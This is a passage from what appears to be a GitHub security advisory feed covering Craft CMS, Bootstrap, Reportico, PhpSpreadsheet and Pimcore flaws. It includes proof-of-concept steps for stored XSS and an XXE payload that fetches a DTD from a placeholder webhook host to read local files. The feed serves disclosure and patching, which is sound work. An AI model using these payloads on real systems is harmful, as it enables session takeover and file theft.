        &lt;li&gt;In the &lt;strong&gt;/admin/entries&lt;/strong&gt; page, entry title isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the entry edit page under the &lt;strong&gt;/admin/entries/&lt;/strong&gt;, entry title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;li&gt;In the &lt;strong&gt;/admin/myaccount&lt;/strong&gt; and pages under it, username or full name in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Malicious users can tamper with the control panel.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;h4 id=&quot;1-in-the-admincategories-page-category-title-isnt-sanitized-and-triggered-xss&quot;&gt;1. In the &lt;strong&gt;/admin/categories&lt;/strong&gt; page, category title isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Categories ( /admin/settings/categories )
        2. Create new category group
        3. Access to the Categories page ( /admin/categories/ )
        4. Push the New category button
        5. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        6. Push the Create Category or Save button
        7. Access to the Categories page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/a1b2890e-731b-4fc4-b189-26591f4486fd&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/4e0f35c7-fbb0-4d38-a0b5-9e28750ff706&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/e046b9db-d83c-4f81-ad91-165c5afedeb9&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;2-in-the-category-edit-page-under-the-admincategories-category-title-in-breadcrumb-list-isnt-sanitized-and-triggered-xss&quot;&gt;2. In the category edit page under the &lt;strong&gt;/admin/categories/&lt;/strong&gt;, category title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Categories ( /admin/settings/categories )
        2. Create new category group
        3. Access to the Categories page ( /admin/categories/ )
        4. Push the New category button
        5. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        6. Push the Create Category or Save button
        7. Access to the Category edit page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/a1b2890e-731b-4fc4-b189-26591f4486fd&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/f7543a11-58eb-4099-9ee2-3461816c52ea&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/f01bbb80-4417-42ca-bf51-b38860f6c74a&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;3-in-the-adminentries-page-entry-title-isnt-sanitized-and-triggered-xss&quot;&gt;3. In the &lt;strong&gt;/admin/entries&lt;/strong&gt; page, entry title isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Entry Types ( /admin/settings/entry-types )
        2. Create new entry type
        3. Access to the Settings -&amp;gt; Sections ( /admin/settings/sections )
        4. Create new section
        5. Access to the Entries page ( /admin/entries )
        6. Push the New entry button
        7. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        8. Push the Create entry or Save button
        9. Access to the Entries page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/ba700899-947f-4421-a1b7-3f0cc2c0da30&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/b255a999-e48c-46be-b732-4482ea9cee9a&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/445d8e0c-71b6-49c7-8f4a-37541dcc9c85&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;4-in-the-entry-edit-page-under-the-adminentries-entry-title-in-breadcrumb-list-isnt-sanitized-and-triggered-xss&quot;&gt;4. In the entry edit page under the &lt;strong&gt;/admin/entries/&lt;/strong&gt;, entry title in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the Settings -&amp;gt; Entry Types ( /admin/settings/entry-types )
        2. Create new entry type
        3. Access to the Settings -&amp;gt; Sections ( /admin/settings/sections )
        4. Create new section
        5. Access to the Entries page ( /admin/entries )
        6. Push the New entry button
        7. Input the Title column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        8. Push the Create entry or Save button
        9. Access to the Entriy edit page again and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/ba700899-947f-4421-a1b7-3f0cc2c0da30&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/a59a122b-b9e7-4695-be13-eb8a1c2d36df&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/b0d27446-7ac6-47e7-ac02-20c924698b13&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h4 id=&quot;5-in-the-adminmyaccount-and-pages-under-it-username-or-full-name-in-breadcrumb-list-isnt-sanitized-and-triggered-xss&quot;&gt;5. In the &lt;strong&gt;/admin/myaccount&lt;/strong&gt; and pages under it, username or full name in breadcrumb list isn&#39;t sanitized and triggered xss.&lt;/h4&gt;
        &lt;pre&gt;&lt;code&gt;1. Access to the My Account Page ( /admin/myaccount )
        2. Input the Full Name column : xss&amp;lt;script&amp;gt;alert(&#39;xss&#39;)&amp;lt;/script&amp;gt;
        3. Push the the Save button
        4. Access to the My Account page ( /admin/myaccount ) or pages under it ( /admin/myaccount/addresses , /admin/myaccount/preferences , etc.) and it triggers xss
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/3be45bdd-0757-42a8-bc5d-320ab2339fd0&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/e1be7446-1c54-42bc-af9a-a8ac81a2d7bf&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;img alt=&quot;image&quot; src=&quot;https://github.com/craftcms/cms/assets/83068208/5fa06b26-fecd-40f5-bc8b-171f881f8a2a&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/craftcms/cms/security/advisories/GHSA-28h4-788g-rh42&quot;&gt;https://github.com/craftcms/cms/security/advisories/GHSA-28h4-788g-rh42&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/craftcms/cms/commit/b7348942f8131b3868ec6f46d615baae50151bb8&quot;&gt;https://github.com/craftcms/cms/commit/b7348942f8131b3868ec6f46d615baae50151bb8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45406&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45406&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-28h4-788g-rh42&quot;&gt;https://github.com/advisories/GHSA-28h4-788g-rh42&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-28h4-788g-rh42</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-28h4-788g-rh42</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[nategood/httpful] Httpful is Missing Certificate Validation</title>
      <description>&lt;p&gt;Httpful has Insecure HTTPS Connections due to Missing Default Certificate Validation&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/nategood/httpful/issues/247&quot;&gt;https://github.com/nategood/httpful/issues/247&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/nategood/httpful/commit/44c880e4f559e9215dc6ea9fe50315500c6c2c84&quot;&gt;https://github.com/nategood/httpful/commit/44c880e4f559e9215dc6ea9fe50315500c6c2c84&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/FriendsOfPHP/security-advisories/blob/master/nategood/httpful/2024-05-01.yaml&quot;&gt;https://github.com/FriendsOfPHP/security-advisories/blob/master/nategood/httpful/2024-05-01.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/nategood/httpful/blob/fc8e4274a09529a6ff29b9c6c0a105ee43dbfda5/src/Httpful/Request.php#L35&quot;&gt;https://github.com/nategood/httpful/blob/fc8e4274a09529a6ff29b9c6c0a105ee43dbfda5/src/Httpful/Request.php#L35&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://huntr.com/bounties/8d59c089-92f1-4b73-90f8-54968a70e2fb&quot;&gt;https://huntr.com/bounties/8d59c089-92f1-4b73-90f8-54968a70e2fb&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-gcfg-hmwx-wq5h&quot;&gt;https://github.com/advisories/GHSA-gcfg-hmwx-wq5h&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-gcfg-hmwx-wq5h</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-gcfg-hmwx-wq5h</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twbs/bootstrap] Bootstrap Cross-Site Scripting (XSS) vulnerability</title>
      <description>&lt;p&gt;A vulnerability has been identified in Bootstrap that exposes users to Cross-Site Scripting (XSS) attacks. The issue is present in the carousel component, where the data-slide and data-slide-to attributes can be exploited through the href attribute of an &lt;a&gt; tag due to inadequate sanitization. This vulnerability could potentially enable attackers to execute arbitrary JavaScript within the victim&#39;s browser.&lt;/a&gt;&lt;/p&gt;&lt;a&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;/a&gt;&lt;ul&gt;&lt;a&gt;
        &lt;/a&gt;&lt;li&gt;&lt;a&gt;&lt;/a&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-6531&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-6531&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.herodevs.com/vulnerability-directory/cve-2024-6531&quot;&gt;https://www.herodevs.com/vulnerability-directory/cve-2024-6531&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bootstrap/CVE-2024-6531.yml&quot;&gt;https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bootstrap/CVE-2024-6531.yml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-vc8w-jr9v-vj7f&quot;&gt;https://github.com/advisories/GHSA-vc8w-jr9v-vj7f&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-vc8w-jr9v-vj7f</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-vc8w-jr9v-vj7f</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[reportico-web/reportico] SQL Injection vulnerability in Reportico Till</title>
      <description>&lt;p&gt;SQL Injection vulnerability in Reportico Till 8.1.0 allows attackers to obtain sensitive information or other system information via the project parameter.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-47438&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-47438&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/reportico-web/reportico/issues/52&quot;&gt;https://github.com/reportico-web/reportico/issues/52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-jjf4-959w-f545&quot;&gt;https://github.com/advisories/GHSA-jjf4-959w-f545&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-jjf4-959w-f545</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-jjf4-959w-f545</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via style information</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;&lt;code&gt;\PhpOffice\PhpSpreadsheet\Writer\Html&lt;/code&gt; doesn&#39;t sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;p&gt;Example target script:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?php
        require &#39;vendor/autoload.php&#39;;
        $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader(&quot;Xlsx&quot;);
        $spreadsheet = $reader-&amp;gt;load(__DIR__ . &#39;/book.xlsx&#39;);
        $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
        print($writer-&amp;gt;generateHTMLAll());
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Save this file in the same directory:
        &lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx&quot;&gt;book.xlsx&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;Open index.php in a web browser. An alert should be displayed.&lt;/p&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Full takeover of the session of users viewing spreadsheet files as HTML.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-wgmf-q9vr-vww6</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-wgmf-q9vr-vww6</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via style information</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;&lt;code&gt;\PhpOffice\PhpSpreadsheet\Writer\Html&lt;/code&gt; doesn&#39;t sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;p&gt;Example target script:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?php
        require &#39;vendor/autoload.php&#39;;
        $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader(&quot;Xlsx&quot;);
        $spreadsheet = $reader-&amp;gt;load(__DIR__ . &#39;/book.xlsx&#39;);
        $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
        print($writer-&amp;gt;generateHTMLAll());
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Save this file in the same directory:
        &lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx&quot;&gt;book.xlsx&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;Open index.php in a web browser. An alert should be displayed.&lt;/p&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Full takeover of the session of users viewing spreadsheet files as HTML.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-wgmf-q9vr-vww6</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-wgmf-q9vr-vww6</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] XXE in PHPSpreadsheet encoding is returned</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) &lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Check &lt;code&gt; $pattern = &#39;/encoding=&quot;(.*?)&quot;/&#39;;&lt;/code&gt; easy to bypass. Just use a single quote symbol &lt;code&gt;&#39;&lt;/code&gt;. So payload looks like this:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://example.com/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. &lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create simple xlsx file&lt;/li&gt;
        &lt;li&gt;Rename xlsx to zip&lt;/li&gt;
        &lt;li&gt;Go to the zip and open the &lt;code&gt;xl/sharedStrings.xml&lt;/code&gt; file in edit mode.&lt;/li&gt;
        &lt;li&gt;Replace &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&lt;/code&gt; to&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://%webhook%/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;5&quot;&gt;
        &lt;li&gt;Save &lt;code&gt;sharedStrings.xml&lt;/code&gt; file and rename zip back to xlsx.&lt;/li&gt;
        &lt;li&gt;Use minimal php code that simply opens this xlsx file:&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;use PhpOffice\PhpSpreadsheet\IOFactory;
        require __DIR__ . &#39;/vendor/autoload.php&#39;;
        $spreadsheet = IOFactory::load(&quot;file.xlsx&quot;);
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;7&quot;&gt;
        &lt;li&gt;You will receive the request to your &lt;code&gt;http://%webhook%/file.dtd&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Read local files
        &lt;img alt=&quot;lfi&quot; src=&quot;https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-ghg6-32f9-2jp7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-ghg6-32f9-2jp7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/pimcore] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/pimcore] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/admin-ui-classic-bundle] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/admin-ui-classic-bundle] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
